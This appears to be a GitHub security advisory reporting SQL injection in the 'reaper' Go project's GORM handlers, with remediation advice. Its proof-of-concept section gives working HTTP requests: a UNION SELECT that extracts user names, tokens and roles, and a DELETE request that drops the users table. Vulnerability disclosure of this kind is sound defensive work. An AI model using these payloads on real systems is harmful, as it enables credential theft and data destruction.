-
Notifications
You must be signed in to change notification settings - Fork 87
Description
Summary
Hello! I have noticed that there are endpoints accepting unsanitized user input passed into primary key parameter of db.First() and db.Delete(), allowing attackers to perform SQL injection. The bug was noticed in multiple places:
reaper/internal/handlers/agent.go
Lines 22 to 24 in f5741fa
| func (h *Handler) GetSession(c *fiber.Ctx) error { | |
| session := models.AgentSession{} | |
| res := h.db.First(&session, c.Params("id")) |
reaper/internal/handlers/report.go
Lines 17 to 19 in f5741fa
| func (h *Handler) GetReport(c *fiber.Ctx) error { | |
| report := models.Report{} | |
| err := h.db.First(&report, c.Params("id")).Error |
reaper/internal/handlers/domain.go
Lines 27 to 29 in f5741fa
| func (h *Handler) GetDomain(c *fiber.Ctx) error { | |
| domain := models.Domain{} | |
| res := h.db.First(&domain, c.Params("id")) |
reaper/internal/handlers/agent.go
Lines 52 to 54 in f5741fa
| func (h *Handler) DeleteSession(c *fiber.Ctx) error { | |
| session := models.AgentSession{} | |
| res := h.db.Delete(&session, c.Params("id")) |
reaper/internal/handlers/report.go
Lines 57 to 59 in f5741fa
| func (h *Handler) DeleteReport(c *fiber.Ctx) error { | |
| report := models.Report{} | |
| res := h.db.Delete(&report, c.Params("id")) |
reaper/internal/handlers/domain.go
Lines 88 to 90 in f5741fa
| func (h *Handler) DeleteDomain(c *fiber.Ctx) error { | |
| domain := models.Domain{} | |
| res := h.db.Delete(&domain, c.Params("id")) |
The vulnerability can be used to both read and write to the database; with the latter being only possible using db.Delete() queries.
- bradan 🧙♂️
Page
https://github.com/ghostsecurity/reaper/tree/main/internal/handlers
Details
Proof-of-Concept
We have used the /api/scan/domains/{id} endpoint as a proof of concept. The other endpoints exhibiting the same pattern detailed above have not been tested. The example requests perform an SQL injection which obtains the id, name, token, and role fields of the user where id=2, and an SQL injection which drops the users table.
Get user info
Request
GET /api/scan/domains/1 AND project_id=0 UNION SELECT 0, null, "User Info", concat(id, ', ', name, ', ', token, ', ', role), null, null, null, null FROM users WHERE id=2 HTTP/1.1
Host: localhost:8000
User-Agent: bTesting
Accept: application/json
x-reaper-token: {token}Response
{
"id": 0,
"project_id": 0,
"project": {
"id": 0,
"name": "",
"created_at": "0001-01-01T00:00:00Z",
"updated_at": "0001-01-01T00:00:00Z"
},
"name": "User Info",
"status": "2, ReaperAdmin, e47ad0171f212fa2a660a1860b76b9387d2105fe, admin",
"host_count": 0,
"last_scanned_at": null,
"created_at": "0001-01-01T00:00:00Z",
"updated_at": "0001-01-01T00:00:00Z"
}Drop table
DELETE /api/scan/domains/1; DROP TABLE users;-- HTTP/1.1
Host: localhost:8000
User-Agent: bTesting
Accept: application/json
x-reaper-token: e47ad0171f212fa2a660a1860b76b9387d2105feRemediation
Follow GORM Security guidelines for best practices on how to handle and sanitize user input passed into the db.First() and db.Delete() functions, which recommends type checking when retrieving by primary keys, or using parameterization (Ref: Inline Condition).
Contact Email
No response